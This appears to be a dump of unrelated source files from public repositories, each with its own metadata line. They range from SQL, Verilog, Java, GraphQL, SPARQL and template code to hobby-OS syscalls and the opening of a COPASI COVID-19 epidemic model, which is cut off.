0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -54.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -23.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 -89.00
| Matlab | 0 | yinrun/LOPDC-Benchmarks | strippacking/matlab/sp-18-3-sqrt.matlab | [
"MIT"
] |
/*
* Program type: Embedded Static SQL
*
* Description:
* This program selects an array data type.
* Projected head count is displayed for the 4
* quarters of some fiscal year for some project,
* ordered by department name.
* The contents of this file are subject to the Interbase Public
* License Version 1.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy
* of the License at http://www.Inprise.com/IPL.html
*
* Software distributed under the License is distributed on an
* "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
* or implied. See the License for the specific language governing
* rights and limitations under the License.
*
* The Original Code was created by Inprise Corporation
* and its predecessors. Portions created by Inprise Corporation are
* Copyright (C) Inprise Corporation.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*/
#include "example.h"
#include <stdlib.h>
#include <stdio.h>
EXEC SQL
BEGIN DECLARE SECTION;
EXEC SQL
END DECLARE SECTION;
int main (void)
{
BASED_ON department.department department;
BASED_ON proj_dept_budget.quart_head_cnt hcnt;
BASED_ON proj_dept_budget.quart_head_cnt tot;
int fiscal_year = 1994; /* year parameter */
char *project = "VBASE"; /* project parameter */
short i;
EXEC SQL
WHENEVER SQLERROR GO TO Error;
/*
* Declare a cursor for selecting an array, given 2
* 2 parameters (year and project).
*/
EXEC SQL
DECLARE proj_cnt CURSOR FOR
SELECT department, quart_head_cnt[]
FROM proj_dept_budget p, department d
WHERE p.dept_no = d.dept_no
AND year = :fiscal_year
AND proj_id = :project
ORDER BY department;
printf("\n\t\t\tPROJECTED HEAD-COUNT REPORT\n");
printf("\t\t\t (by department)\n\n");
printf("FISCAL YEAR: %d\n", fiscal_year);
printf("PROJECT ID : %s\n\n\n", project);
printf("%-25s%10s%10s%10s%10s\n\n",
"DEPARTMENT", "QTR1", "QTR2", "QTR3", "QTR4");
/* Initialize quarterly totals. */
for (i = 0; i < 4; i++)
tot[i] = 0;
EXEC SQL
OPEN proj_cnt;
/* Get and display each department's counts. */
while (SQLCODE == 0)
{
EXEC SQL
FETCH proj_cnt INTO :department, :hcnt;
if (SQLCODE == 100)
break;
printf("%-25s%10ld%10ld%10ld%10ld\n",
department, hcnt[0], hcnt[1], hcnt[2], hcnt[3]);
for (i = 0; i < 4; i++)
tot[i] += hcnt[i];
}
/* Display quarterly totals. */
printf("\n%-25s%10ld%10ld%10ld%10ld\n\n",
"TOTAL", tot[0], tot[1], tot[2], tot[3]);
EXEC SQL
CLOSE proj_cnt;
EXEC SQL
COMMIT WORK;
return 0;
Error:
isc_print_sqlerror((short) SQLCODE, gds__status);
return 1;
}
| Eiffel | 4 | jiemurat/delphimvcframework | unittests/general/Several/bin/firebird/examples/stat/stat6.e | [
"Apache-2.0"
] |
// (c) Copyright 1995-2021 Xilinx, Inc. All rights reserved.
//
// This file contains confidential and proprietary information
// of Xilinx, Inc. and is protected under U.S. and
// international copyright and other intellectual property
// laws.
//
// DISCLAIMER
// This disclaimer is not a license and does not grant any
// rights to the materials distributed herewith. Except as
// otherwise provided in a valid license issued to you by
// Xilinx, and to the maximum extent permitted by applicable
// law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
// WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
// AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
// BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
// INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
// (2) Xilinx shall not be liable (whether in contract or tort,
// including negligence, or under any other theory of
// liability) for any loss or damage of any kind or nature
// related to, arising under or in connection with these
// materials, including for any direct, or any indirect,
// special, incidental, or consequential loss or damage
// (including loss of data, profits, goodwill, or any type of
// loss or damage suffered as a result of any action brought
// by a third party) even if such damage or loss was
// reasonably foreseeable or Xilinx had been advised of the
// possibility of the same.
//
// CRITICAL APPLICATIONS
// Xilinx products are not designed or intended to be fail-
// safe, or for use in any application requiring fail-safe
// performance, such as life-support or safety devices or
// systems, Class III medical devices, nuclear facilities,
// applications related to the deployment of airbags, or any
// other applications that could lead to death, personal
// injury, or severe property or environmental damage
// (individually and collectively, "Critical
// Applications"). Customer assumes the sole risk and
// liability of any use of Xilinx products in Critical
// Applications, subject only to applicable laws and
// regulations governing limitations on product liability.
//
// THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
// PART OF THIS FILE AT ALL TIMES.
//
// DO NOT MODIFY THIS FILE.
// IP VLNV: stanford.edu:cryo:CryoWibIp:1.0
// IP Revision: 2
// The following must be inserted into your Verilog file for this
// core to be instantiated. Change the instance name and port connections
// (in parentheses) to your own signal names.
//----------- Begin Cut here for INSTANTIATION Template ---// INST_TAG
CryoWibIp_0 your_instance_name (
.sys_clk(sys_clk), // input wire sys_clk
.sys_rst(sys_rst), // input wire sys_rst
.S_AXI_ACLK(S_AXI_ACLK), // input wire S_AXI_ACLK
.S_AXI_ARESETN(S_AXI_ARESETN), // input wire S_AXI_ARESETN
.S_AXI_AWADDR(S_AXI_AWADDR), // input wire [11 : 0] S_AXI_AWADDR
.S_AXI_AWPROT(S_AXI_AWPROT), // input wire [2 : 0] S_AXI_AWPROT
.S_AXI_AWVALID(S_AXI_AWVALID), // input wire S_AXI_AWVALID
.S_AXI_AWREADY(S_AXI_AWREADY), // output wire S_AXI_AWREADY
.S_AXI_WDATA(S_AXI_WDATA), // input wire [31 : 0] S_AXI_WDATA
.S_AXI_WSTRB(S_AXI_WSTRB), // input wire [3 : 0] S_AXI_WSTRB
.S_AXI_WVALID(S_AXI_WVALID), // input wire S_AXI_WVALID
.S_AXI_WREADY(S_AXI_WREADY), // output wire S_AXI_WREADY
.S_AXI_BRESP(S_AXI_BRESP), // output wire [1 : 0] S_AXI_BRESP
.S_AXI_BVALID(S_AXI_BVALID), // output wire S_AXI_BVALID
.S_AXI_BREADY(S_AXI_BREADY), // input wire S_AXI_BREADY
.S_AXI_ARADDR(S_AXI_ARADDR), // input wire [11 : 0] S_AXI_ARADDR
.S_AXI_ARPROT(S_AXI_ARPROT), // input wire [2 : 0] S_AXI_ARPROT
.S_AXI_ARVALID(S_AXI_ARVALID), // input wire S_AXI_ARVALID
.S_AXI_ARREADY(S_AXI_ARREADY), // output wire S_AXI_ARREADY
.S_AXI_RDATA(S_AXI_RDATA), // output wire [31 : 0] S_AXI_RDATA
.S_AXI_RRESP(S_AXI_RRESP), // output wire [1 : 0] S_AXI_RRESP
.S_AXI_RVALID(S_AXI_RVALID), // output wire S_AXI_RVALID
.S_AXI_RREADY(S_AXI_RREADY), // input wire S_AXI_RREADY
.asicSaciCmd(asicSaciCmd), // output wire asicSaciCmd
.asicSaciClk(asicSaciClk), // output wire asicSaciClk
.asicSaciSelL(asicSaciSelL), // output wire [1 : 0] asicSaciSelL
.asicSaciRsp(asicSaciRsp), // input wire asicSaciRsp
.asicRdClk(asicRdClk), // output wire asicRdClk
.asicGlblRst(asicGlblRst), // output wire asicGlblRst
.asicPulse(asicPulse), // output wire asicPulse
.asicSmpClk_p(asicSmpClk_p), // output wire asicSmpClk_p
.asicSmpClk_n(asicSmpClk_n), // output wire asicSmpClk_n
.asicSR0_p(asicSR0_p), // output wire asicSR0_p
.asicSR0_n(asicSR0_n), // output wire asicSR0_n
.rx_p(rx_p), // input wire [3 : 0] rx_p
.rx_n(rx_n), // input wire [3 : 0] rx_n
.rxLinkUp(rxLinkUp), // output wire [3 : 0] rxLinkUp
.rxValid(rxValid), // output wire [3 : 0] rxValid
.rxData(rxData), // output wire [47 : 0] rxData
.rxSof(rxSof), // output wire [3 : 0] rxSof
.rxEof(rxEof), // output wire [3 : 0] rxEof
.rxEofe(rxEofe), // output wire [3 : 0] rxEofe
.userReset(userReset), // output wire userReset
.fpgaEnReload(fpgaEnReload), // input wire fpgaEnReload
.fpgaReload(fpgaReload), // output wire fpgaReload
.fpgaReloadAddr(fpgaReloadAddr), // output wire [31 : 0] fpgaReloadAddr
.upTimeCnt(upTimeCnt), // output wire [31 : 0] upTimeCnt
.slowClk(slowClk), // input wire slowClk
.dnaValueOut(dnaValueOut), // output wire [127 : 0] dnaValueOut
.fdValueOut(fdValueOut), // output wire [63 : 0] fdValueOut
.userValues(userValues), // input wire [2047 : 0] userValues
.fdSerSdio(fdSerSdio) // inout wire fdSerSdio
);
// INST_TAG_END ------ End INSTANTIATION Template ---------
| Verilog | 3 | slaclab/cryo-wib-firmware | firmware/wib_fw_xil_proj_from_dune/wib_zu6cg_cryo/wib_zu6cg.srcs/sources_1/ip/CryoWibIp_0_1/CryoWibIp_0.veo | [
"BSD-3-Clause-LBNL"
] |
package com.baeldung.reactive.template;
import com.baeldung.reactive.model.Account;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.mongodb.core.ReactiveMongoTemplate;
import org.springframework.data.mongodb.core.ReactiveRemoveOperation;
import org.springframework.stereotype.Service;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
@Service
public class AccountTemplateOperations {
@Autowired
ReactiveMongoTemplate template;
public Mono<Account> findById(String id) {
return template.findById(id, Account.class);
}
public Flux<Account> findAll() {
return template.findAll(Account.class);
}
public Mono<Account> save(Mono<Account> account) {
return template.save(account);
}
public ReactiveRemoveOperation.ReactiveRemove<Account> deleteAll() {
return template.remove(Account.class);
}
}
| Java | 4 | zeesh49/tutorials | spring-5-reactive/src/main/java/com/baeldung/reactive/template/AccountTemplateOperations.java | [
"MIT"
] |
type Query {
getCats: [Cat]
cat(id: ID!): Cat
}
type Mutation {
createCat(name: String): Cat
}
type Subscription {
catCreated: Cat
}
type Cat {
id: Int
name: String
age: Int
}
| GraphQL | 3 | SuperHuangXu/nest | integration/graphql-schema-first/src/cats/cats.types.graphql | [
"MIT"
] |
# SPARQL FILTER test by value.
# Only one valus is known to be "a"^^t:type1
# (others maybe but the processor does not positively know this)
PREFIX : <http://example/ns#>
PREFIX t: <http://example/t#>
SELECT *
{ ?x :p ?v
FILTER ( ?v = "a"^^t:type1 )
}
| SPARQL | 4 | alpano-unibz/ontop | test/sparql-compliance/src/test/resources/testcases-dawg/data-r2/open-world/open-eq-05.rq | [
"Apache-2.0"
] |
<div class="footer-social-buttons">
<ul>
<mt:If name="social_button_facebook">
<li class="facebook">
<div class="fb-like"
data-href="<$mt:BlogURL encode_html="1"$>"
data-send="false"
data-layout="button_count"
data-width="130"
data-show-faces="false"
data-font="lucida grande">
</div>
<div id="fb-root">
</div>
</li>
</mt:If>
<mt:If name="social_button_twitter">
<li class="twitter">
<a href="https://twitter.com/share"
class="twitter-share-button"
data-url="<$mt:BlogURL encode_html="1"$>"
data-text="<$mt:BlogName encode_html="1"$>"
<mt:If name='twitter_via' ne=''>data-via="<$mt:Var name='twitter_via'$>"</mt:If>>
<__trans phrase="Tweet">
</a>
</li>
</mt:If>
<mt:If name="social_button_hatena">
<li class="hatena">
<a href="http://b.hatena.ne.jp/entry/<$mt:BlogURL encode_html="1"$>"
class="hatena-bookmark-button"
data-hatena-bookmark-title="<$mt:BlogName encode_html="1"$>"
data-hatena-bookmark-layout="standard"
title="<__trans phrase="Add this article to Hatena Bookmark.">">
<img src="https://b.st-hatena.com/images/entry-button/[email protected]"
alt="<__trans phrase="Add this article to Hatena Bookmark.">"
width="20"
height="20"
style="border: none;">
</a>
</li>
</mt:If>
<mt:If name="social_button_google">
<li class="google">
<div class="g-plusone"
data-size="medium"
data-href="<$mt:BlogURL encode_html="1"$>">
</div>
</li>
</mt:If>
<mt:If name="social_button_pocket">
<li class="pocket">
<a href="https://getpocket.com/save"
class="pocket-btn"
data-lang="en"
data-save-url="<$mt:BlogURL encode_html="1"$>"
data-pocket-count="horizontal">
Pocket
</a>
</li>
</mt:If>
<mt:If name="social_button_line">
<li class="line">
<span>
<div class="line-it-button" style="display: none;" data-type="share-a" data-lang="ja"></div>
<script src="//scdn.line-apps.com/n/line_it/thirdparty/loader.min.js" async="async" defer="defer"></script>
</span>
</li>
</mt:If>
</ul>
</div>
<mt:If name="social_button_facebook">
<div id="fb-root"></div>
<script type="text/javascript">
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s);
js.id = id;
js.src = "//connect.facebook.net/ja_JP/sdk.js#xfbml=1&version=v2.4&appId=<$mt:Var name='fb_app_id'$>";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
</mt:If>
<mt:If name="social_button_twitter">
<script type="text/javascript">
!function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0],
p = /^http:/.test(d.location) ? 'http' : 'https';
if (!d.getElementById(id)) {
js = d.createElement(s);
js.id = id;
js.src = p + '://platform.twitter.com/widgets.js';
fjs.parentNode.insertBefore(js, fjs);
}
}(document, 'script', 'twitter-wjs');
</script>
</mt:If>
<mt:If name="social_button_google">
<script type="text/javascript">
(function() {
var po = document.createElement('script');
po.type = 'text/javascript';
po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(po, s);
})();
</script>
</mt:If>
<mt:If name="social_button_hatena">
<script type="text/javascript" src="//b.st-hatena.com/js/bookmark_button.js" charset="utf-8" async="async"></script>
</mt:If>
<mt:If name="social_button_pocket">
<script type="text/javascript">
!function(d, i) {
if (!d.getElementById(i)) {
var j = d.createElement("script");
j.id = i;
j.src = "https://widgets.getpocket.com/v1/j/btn.js?v=1";
var w = d.getElementById(i);
d.body.appendChild(j);
}
}(document, "pocket-btn-js");
</script>
</mt:If>
| MTML | 3 | kanpapa/mt-theme-rimo | themes/rimo/templates/footer_social_button.mtml | [
"MIT"
] |
# Directories syscalls
include "util.sl";
include "sys.sl";
var readdir_buf;
var readdir_sz;
var readdir_blknum;
var readdir_minoffset;
var readdir_ndirents;
var readdir_accepting;
sys_readdir = func(fd, buf, sz) {
ser_poll(3);
var err = catch();
if (err) return err;
var fdbase = fdbaseptr(fd);
readdir_buf = buf;
readdir_sz = sz;
readdir_blknum = *(fdbase+FDDATA);
readdir_minoffset = *(fdbase+FDDATA+1);
readdir_ndirents = 0;
readdir_accepting = 0;
dirwalk(readdir_blknum, func(name, blknum, dirblknum, dirent_offset) {
if (dirblknum == readdir_blknum) readdir_accepting = 1;
if (!readdir_accepting) return 1;
if (dirent_offset < readdir_minoffset && dirblknum == readdir_blknum) return 1;
if (*name) {
# copy the name into readdir_buf
while (*name && readdir_sz) {
*(readdir_buf++) = *(name++);
readdir_sz--;
};
if (readdir_sz == 0) return 0; # buf is full
*(readdir_buf++) = 0; # terminate the name
readdir_sz--;
readdir_ndirents++;
};
readdir_blknum = dirblknum;
readdir_minoffset = dirent_offset+1;
return 1;
});
*(fdbase+FDDATA) = readdir_blknum;
*(fdbase+FDDATA+1) = readdir_minoffset;
return readdir_ndirents;
};
sys_opendir = func(name) {
ser_poll(3);
var startblk = CWDBLK;
if (*name == '/') startblk = ROOTBLOCK;
var err = catch();
if (err) return err;
# try to find the name
var location = dirfindname(startblk, name);
if (!location) return NOTFOUND;
# return NOTDIR if it's not a directory
blkread(location[0], 0);
if(blktype(0) != TYPE_DIR) return NOTDIR;
# allocate an fd, or return BADFD if they're all taken
var fd = fdalloc();
if (fd == -1) return BADFD;
var fdbase = fdbaseptr(fd);
# attach read(), although it is really intended to be used with readdir()
*(fdbase+READFD) = sys_readdir;
# initialise block number and dirent offset
*(fdbase+FDDATA) = location[0];
*(fdbase+FDDATA+1) = 2;
return fd;
};
sys_mkdir = func(name) {
ser_poll(3);
var startblk = CWDBLK;
if (*name == '/') startblk = ROOTBLOCK;
var err = catch();
if (err) return err;
var location = dirmkname(startblk, name, TYPE_DIR, 0);
if (!location) return NOTFOUND;
if (location == -1) return EXISTS;
var dirblk = location[0];
var parentdirblk = location[3];
# make "." and ".."
blkread(dirblk, 0);
memset(BLKBUF+2, 0, BLKSZ-2); # zero out the filenames
dirent(BLKBUF+2, ".", dirblk);
dirent(BLKBUF+18, "..", parentdirblk);
blkwrite(dirblk, 0);
return 0;
};
sys_chdir = func(name) {
ser_poll(3);
var startblk = CWDBLK;
if (*name == '/') startblk = ROOTBLOCK;
var err = catch();
if (err) return err;
# try to find the name
var location = dirfindname(startblk, name);
if (!location) return NOTFOUND;
# return NOTDIR if it's not a directory
blkread(location[0], 0);
if(blktype(0) != TYPE_DIR) return NOTDIR;
CWDBLK = location[0];
return 0;
};
var getcwd_name;
var getcwd_dirblk;
var getcwd_level = func(buf, sz, dirblk, bufp) {
var dotdot = dirfindname(dirblk, "..");
if (!dotdot) return NOTFOUND;
var parentblk = dotdot[0];
# found root
if (parentblk == dirblk) {
*(buf++) = '/';
*buf = 0;
*bufp = buf;
return 0;
};
# get the parent directory in buf
var next_bufp;
var n = getcwd_level(buf, sz, parentblk, &next_bufp);
if (n < 0) return n;
sz = sz - (next_bufp - buf);
# work out the name of this directory
getcwd_dirblk = dirblk;
getcwd_name = 0;
dirwalk(parentblk, func(name, blknum, dirblknum, dirent_offset) {
if (*name && blknum == getcwd_dirblk) {
getcwd_name = name;
return 0;
};
return 1;
});
if (!getcwd_name) return NOTFOUND;
while (*getcwd_name) {
*(next_bufp++) = *(getcwd_name++);
sz--;
if (sz < 2) return TOOLONG;
};
*(next_bufp++) = '/';
*next_bufp = 0;
*bufp = next_bufp;
return 0;
};
sys_getcwd = func(buf, sz) {
ser_poll(3);
var err = catch();
if (err) return err;
return getcwd_level(buf, sz, CWDBLK, 0);
};
var unlink_count;
sys_unlink = func(name) {
ser_poll(3);
var startblk = CWDBLK;
if (*name == '/') startblk = ROOTBLOCK;
var err = catch();
if (err) return err;
# try to find the name
var location = dirfindname(startblk, name);
if (!location) return NOTFOUND;
var blknum = location[0];
var dirblk = location[1];
var unlink_offset = location[2];
var dir_parent = location[3];
# don't unlink the empty string file, or "."
if (dirblk == 0) return NOTFOUND;
if (dirblk == blknum) return EXISTS;
blkread(blknum, 0);
# don't unlink non-empty directories
if (blktype(0) == TYPE_DIR) {
unlink_count = 0;
dirwalk(blknum, func(name, blknum, dirblknum, dirent_offset) {
if (*name) unlink_count++;
return 1;
});
# an empty directory has just "." and ".."
if (unlink_count != 2) return EXISTS;
};
# delete it from the directory
blkread(dirblk, 0);
dirent(BLKBUF+unlink_offset, "", 0);
blkwrite(dirblk, 0);
# free the rest of the blocks in the file
blktrunc(blknum, 0);
# free the first block
blksetused(blknum, 0);
# clear up the containing directory block if it's now empty
dirgc(dir_parent, dirblk, 0);
return 0;
};
sys_rename = func(oldname, newname) {
ser_poll(3);
var oldstartblk = CWDBLK;
if (*oldname == '/') oldstartblk = ROOTBLOCK;
var newstartblk = CWDBLK;
if (*newname == '/') newstartblk = ROOTBLOCK;
var err = catch();
if (err) return err;
# try to find the name
var oldlocation = dirfindname(oldstartblk, oldname);
if (!oldlocation) return NOTFOUND;
var blknum = oldlocation[0];
var dirblk = oldlocation[1];
var unlink_offset = oldlocation[2];
var dir_parent = oldlocation[3];
# don't rename the empty string file, or "."
if (dirblk == 0 || dirblk == blknum) return NOTFOUND;
# don't rename ".."
var name;
undirent(BLKBUF+unlink_offset, &name, 0);
if (name[0] == '.' && name[1] == '.' && name[2] == 0) return NOTFOUND;
# create the new name, linked to the existing file
var newlocation = dirmkname(newstartblk, newname, 0, blknum);
if (!newlocation) return NOTFOUND;
if (newlocation == -1) return EXISTS;
# delete it from the old directory
blkread(dirblk, 0);
dirent(BLKBUF+unlink_offset, "", 0);
blkwrite(dirblk, 0);
# clear up the containing directory block if it's now empty
dirgc(dir_parent, dirblk, 0);
return 0;
};
| Slash | 5 | jes/scamp-cpu | kernel/sys_dir.sl | [
"Unlicense"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- generated with COPASI 4.27 (Build 217) (http://www.copasi.org) at 2020-04-29T11:43:40Z -->
<?oxygen RNGSchema="http://www.copasi.org/static/schema/CopasiML.rng" type="xml"?>
<COPASI xmlns="http://www.copasi.org/static/schema" versionMajor="4" versionMinor="27" versionDevel="217" copasiSourcesModified="0">
<ListOfFunctions>
<Function key="Function_13" name="Mass action (irreversible)" type="MassAction" reversible="false">
<MiriamAnnotation>
<rdf:RDF xmlns:CopasiMT="http://www.copasi.org/RDF/MiriamTerms#" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Function_13">
<CopasiMT:is rdf:resource="urn:miriam:obo.sbo:SBO:0000163" />
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
<body xmlns="http://www.w3.org/1999/xhtml">
<b>Mass action rate law for irreversible reactions</b>
<p>
Reaction scheme where the products are created from the reactants and the change of a product quantity is proportional to the product of reactant activities. The reaction scheme does not include any reverse process that creates the reactants from the products. The change of a product quantity is proportional to the quantity of one reactant.
</p>
</body>
</Comment>
<Expression>
k1*PRODUCT<substrate_i>
</Expression>
<ListOfParameterDescriptions>
<ParameterDescription key="FunctionParameter_80" name="k1" order="0" role="constant"/>
<ParameterDescription key="FunctionParameter_81" name="substrate" order="1" role="substrate"/>
</ListOfParameterDescriptions>
</Function>
</ListOfFunctions>
<Model key="Model_0" name="SIDARTHE Hartford Model 6" simulationType="time" timeUnit="d" volumeUnit="1" areaUnit="1" lengthUnit="1" quantityUnit="#" type="deterministic" avogadroConstant="6.0221408570000002e+23">
<MiriamAnnotation>
<rdf:RDF
xmlns:CopasiMT="http://www.copasi.org/RDF/MiriamTerms#"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:vCard="http://www.w3.org/2001/vcard-rdf/3.0#">
<rdf:Description rdf:about="#Model_0">
<dcterms:bibliographicCitation>
<rdf:Description>
<dcterms:description>Giordano, G., Blanchini, F., Bruno, R. et al. Modelling the COVID-19 epidemic and implementation of population-wide interventions in Italy. Nat Med (2020).</dcterms:description>
<CopasiMT:isDescribedBy rdf:resource="urn:miriam:doi:10.1038/s41591-020-0883-7"/>
</rdf:Description>
</dcterms:bibliographicCitation>
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:21:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
<dcterms:creator>
<rdf:Description>
<vCard:EMAIL>[email protected]</vCard:EMAIL>
<vCard:N>
<rdf:Description>
<vCard:Family>Mendes</vCard:Family>
<vCard:Given>Pedro</vCard:Given>
</rdf:Description>
</vCard:N>
<vCard:ORG>
<rdf:Description>
<vCard:Orgname>University of Connecticut</vCard:Orgname>
</rdf:Description>
</vCard:ORG>
</rdf:Description>
</dcterms:creator>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
<body xmlns="http://www.w3.org/1999/xhtml"><h1>SIDARTHE model of Connecticut COVID-19 epidemic</h1>
<p>This model is an implementation of the model described in a the paper by <a href="https://doi.org/10.1038/s41591-020-0883-7">Giordano et al. doi:10.1038/s41591-020-0883-7</a> calibrated with Connecticut data. </p>
<p>Events/Interventions:</p>
<ul>
<li>Day 0 - March 8, first day with diagnosed > 0.</li>
<li>Day 1- March 9, tests at an average 17.1 per day</li>
<li>Day 8 - March 16, policy of max 50 people gatherings, closed gyms and theaters; restaurants and bars takeout only. This reduces the infection parameters</li>
<li>Day 10 - March 18, tests increase so does parameter theta</li>
<li>Day 15 - March 23, shelter-in-place policy declared. Infection parameters reduce again.</li>
<li>Day 19 - March 27, tests increase so does parameter theta</li>
<li>Day 29 - April 6, tests increase so does parameter theta</li>
<li>Day 74 - May 21, simulate relaxation of infection parameters by 50%</li>
</ul>
<p xmlns:dct="http://purl.org/dc/terms/">
<a rel="license" href="http://creativecommons.org/publicdomain/zero/1.0/">
CC0 license
</a>
<br />
To the extent possible under law,
<a rel="dct:publisher" href="http://www.comp-sys-bio.org">
<span property="dct:title">Pedro Mendes</span></a>
has waived all copyright and related or neighboring rights to
<span property="dct:title">SIDARTHE-CT_Model5.cps</span>.
</p>
</body>
</Comment>
<ListOfCompartments>
<Compartment key="Compartment_1" name="compartment" simulationType="fixed" dimensionality="3" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Compartment_1">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Compartment>
</ListOfCompartments>
<ListOfMetabolites>
<Metabolite key="Metabolite_9" name="I" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
